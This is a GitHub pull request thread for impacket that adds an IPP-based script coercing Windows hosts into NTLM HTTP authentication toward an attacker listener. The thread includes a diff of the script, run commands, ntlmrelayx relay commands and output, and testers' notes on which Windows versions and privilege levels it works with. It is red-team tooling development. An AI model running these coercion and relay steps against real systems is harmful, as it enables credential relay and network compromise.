Skip to content

MS-RPRN OPNUM 88 + Example script to coerce HTTP authentication from remote target using IPP - #2361

Open
ThatTotallyRealMyth wants to merge 4 commits into
fortra:masterfrom
ThatTotallyRealMyth:ipp-coercion-script
Open

ThatTotallyRealMyth wants to merge 4 commits into
fortra:masterfrom
ThatTotallyRealMyth:ipp-coercion-script

Conversation

@ThatTotallyRealMyth

@ThatTotallyRealMyth ThatTotallyRealMyth commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

Hi there, this is a PR to implement a method to coerce and trigget HTTP authentication on a remote target. There was a neccesary OPNUM to implement from MS-RPRN, which was 88 and a example script to show case this. I have also added screenshots showing it working. Disregard the bottom stuff as I have got it now working

Im just struggling as I keep getting bad stub errors. Could I potentially get some help with figuring out where I am going wrong?

Original BoF from which this was made from: https://github.com/sudonoodle/BOF-coerce-ipp

To be abundantly clear, the TTP(using the above bof) should work locally on a workstation to trigger HTTP authentication from a low priv user perspective. This script, works remotely but needs elevated access to the target(be it workstation or server)

Added RpcXcvData and RpcXcvDataResponse classes as these are needed if someone wanted to coerce HTTP authentication
@ThatTotallyRealMyth

Copy link
Copy Markdown
Contributor Author

I got the rpc stud error fixed and then I got hit with another error, which I think was related to encryption. I managed to get it working:

image

And then when I look at ntlmrelayx:

image

@rtpt-romankarwacik

Copy link
Copy Markdown
Contributor

lol literally had the same idea as I saw the BOF today, very nice!

@ThatTotallyRealMyth

Copy link
Copy Markdown
Contributor Author

lol literally had the same idea as I saw the BOF today, very nice!

Thanks @sudonoodle :p

@rtpt-romankarwacik

Copy link
Copy Markdown
Contributor

What Windows version did you test this with? I tried with Windows 11 24H2 26100.971, and the pipe was not available by default, so I changed it to epm:

diff --git a/examples/ipp_coerce.py b/examples/ipp_coerce.py
index f5764b5d..dd7f68e8 100644
--- a/examples/ipp_coerce.py
+++ b/examples/ipp_coerce.py
@@ -23,10 +23,11 @@ import socket
 import sys
 
 from impacket import version
-from impacket.dcerpc.v5 import rprn, transport
+from impacket.dcerpc.v5 import transport, rprn, epm
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket.examples import logger
 from impacket.examples.utils import parse_target
+from impacket.uuid import uuidtup_to_bin
 from impacket.system_errors import ERROR_ACCESS_DENIED, ERROR_SUCCESS
 
 ASSOC_TIMEOUT = 8
@@ -48,10 +49,18 @@ class IPPCoerce:
             self.__lmhash, self.__nthash = hashes.split(':')
 
     def run(self, remoteName, remoteHost, listener, listenerPort):
-        stringbinding = r'ncacn_np:%s[\pipe\spoolss]' % remoteName
-        logging.debug('StringBinding %s' % stringbinding)
+
+        def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
+            string_binding = rf"ncacn_ip_tcp:{target}[135]"
+            logging.debug('StringBinding %s' % string_binding)
+            rpctransport = transport.DCERPCTransportFactory(string_binding)
+            rpctransport.set_connect_timeout(timeout)
+            dce = rpctransport.get_dce_rpc()
+            dce.connect()
+            return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
+
+        stringbinding = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), remoteName)
         rpctransport = transport.DCERPCTransportFactory(stringbinding)
-        rpctransport.set_dport(self.__port)
         rpctransport.setRemoteHost(remoteHost)
         if hasattr(rpctransport, 'set_credentials'):
             # This method exists only for selected protocol sequences.
@@ -82,7 +91,7 @@ class IPPCoerce:
             logging.info('Triggering IPP association on %s: %s' % (remoteName, uri))
 
             # RpcXcvData has no timeout of its own
-            rpctransport.get_smb_connection().setTimeout(ASSOC_TIMEOUT)
+#            rpctransport.get_smb_connection().setTimeout(ASSOC_TIMEOUT)
             associationStarted = True
             resp = rprn.hRpcXcvData(dce, hXcv, 'AssocIppDirected', uriData)

However, I only get an unauthenticated HTTP request, and the server just closes the HTTP connection after the 401 Unauthorized:

$ python3 examples/ipp_coerce.py 'lab.redteam/Administrator:password!1@192.168.56.6' 192.168.56.111 80
Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info"
Impacket v? - Copyright Fortra, LLC and its affiliated companies 

[*] Triggering IPP association on 192.168.56.6: ipp://192.168.56.111:80/ipp/print
[*] Target contacted - machine auth should be inbound (status 3012)
$ sudo impacket ntlmrelayx.py -smb2support -t ldap://192.168.56.5 -debug                       
Impacket v0.14.0.dev0+20261005.143351.ef918d54 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /usr/share/redteam-python-attacktools/python-lib/impacket
[...]
[*] Servers started, waiting for connections
[*] (HTTP): Client requested path: /ipp/print
image

@rtpt-romankarwacik

rtpt-romankarwacik commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

With Windows 10 22H2 Build 19045.6456 it works.
With Server 2025 24H2 26100.33650 I get the same status as with Windows 10/11 (3012 ERROR_PRINTER_NOT_FOUND), however no incoming connection at all.

With low privileged users I get

[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 

on all versions when calling resp = rprn.hRpcOpenPrinter(dce, monitor, accessRequired=rprn.SERVER_ACCESS_ADMINISTER), and without SERVER_ACCESS_ADMINISTER I get ERROR_ACCESS_DENIED as a response to rprn.hRpcXcvData

@sudonoodle

Copy link
Copy Markdown

This coercion technique doesn't work on Server workstations unless you're running with high-integrity.

This is because the IPP interface is behind UAC on server editions.

So, the technique is for workstations only unless you have admin credentials.

@GeisericII

Copy link
Copy Markdown

Doesn't work for me on Windows 11 26H2, latest update. I tried the manual way from the settings, only getting null HTTP requests.

@ADHDMurky

ADHDMurky commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

On Windows 10 Pro 22H2 19045.6456 running it with lowpriv user i get: [-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied. Works with admin credentials only..

@anadrianmanrique anadrianmanrique self-assigned this Nov 4, 2026
@anadrianmanrique anadrianmanrique added the in review This issue or pull request is being analyzed label Nov 4, 2026
@sup3rDav3

Copy link
Copy Markdown

On Windows 10 Pro 22H2 19045.6456 running it with lowpriv user i get: [-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied. Works with admin credentials only..

As a non-privileged user, I'm seeing the same access denied error on Windows 11 Pro 24H2 26100.1742. Spun up a Nxc module and it only works with admin creds.

@chryzsh

chryzsh commented Nov 4, 2026 •

Copy link
Copy Markdown

I think the technique was discovered in the past under the name "evilprinter", but I think the "trick" was not well-known.

It works locally on W11 as a low priv user. It can not be triggered remotely as a low-priv user. It does not work at all with a low-priv user on servers.

@sudonoodle

Copy link
Copy Markdown

I've tested the technique (my BOF - not this Python script) on 26H2, fully patched and updated as of today, and it works. @sup3rDav3 @ADHDMurky @GeisericII - have you tried the original BOF? Run it from a low-priv context and it should work without issue.

@ADHDMurky

Copy link
Copy Markdown
Contributor

Tried to do it via AdaptixC2 but still the same issue:

[04/11 20:55:57] Murky [34ab6aa2] beacon > execute bof ~/GitTools/AdaptixC2/BOFs/Ipp/dist/coerce-ipp.x641.o
[04/11 20:55:57] [*] Task: execute BOF
[04/11 20:55:58] [*] Agent called server, sent [4.74 Kb]
[04/11 20:55:59] [+] BOF output
[i] Triggering IPP association: ipp://192.168.171.184:8080/ipp/print
[+] Target contacted - machine auth should be inbound (status 3012)
[04/11 20:55:59] [+] BOF finished

and ntlmrelayx:

[*] (HTTP): Connection from 192.168.171.131 controlled, attacking target smb://192.168.171.131
[*] (HTTP): Client requested path: /ipp/print
[-] (HTTP): Authenticating against smb://192.168.171.131 as / FAILED

@sudonoodle

Copy link
Copy Markdown

@ADHDMurky You're relaying to SMB. Try relaying to LDAP. Something like: impacket-ntlmrelayx -t ldaps://R2-DC01.ludus.domain --no-smb-server --http-port 8082.

@ADHDMurky

ADHDMurky commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

hmm I don't think that is the issue.
I got it working on Windows 10 :D ...but Windows 11 Pro 25H2 still gives me no machine auth.
I only get this:

[*] (HTTP): Client requested path: /ipp/print

It is possible due to my environment having different EDR setup or its my skill issue.

But even so that remote impacket script doesn't work either way, BOF is fine though, sick work btw sir! :D

@anadrianmanrique

Copy link
Copy Markdown
Collaborator

can we confirm this works only with Administrator credentials? ( I haven't tested it yet ). @ThatTotallyRealMyth on your first screenshot, which user was used to coerce the connection?

@ThatTotallyRealMyth

Copy link
Copy Markdown
Contributor Author

Hey @anadrianmanrique I had used an admin in the screenshots provided yeah. Low priv user would need to be on the local host : (

godylockz pushed a commit to godylockz/impacket that referenced this pull request Nov 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

in review This issue or pull request is being analyzed

Projects

None yet

Development

Successfully merging this pull request may close these issues.

8 participants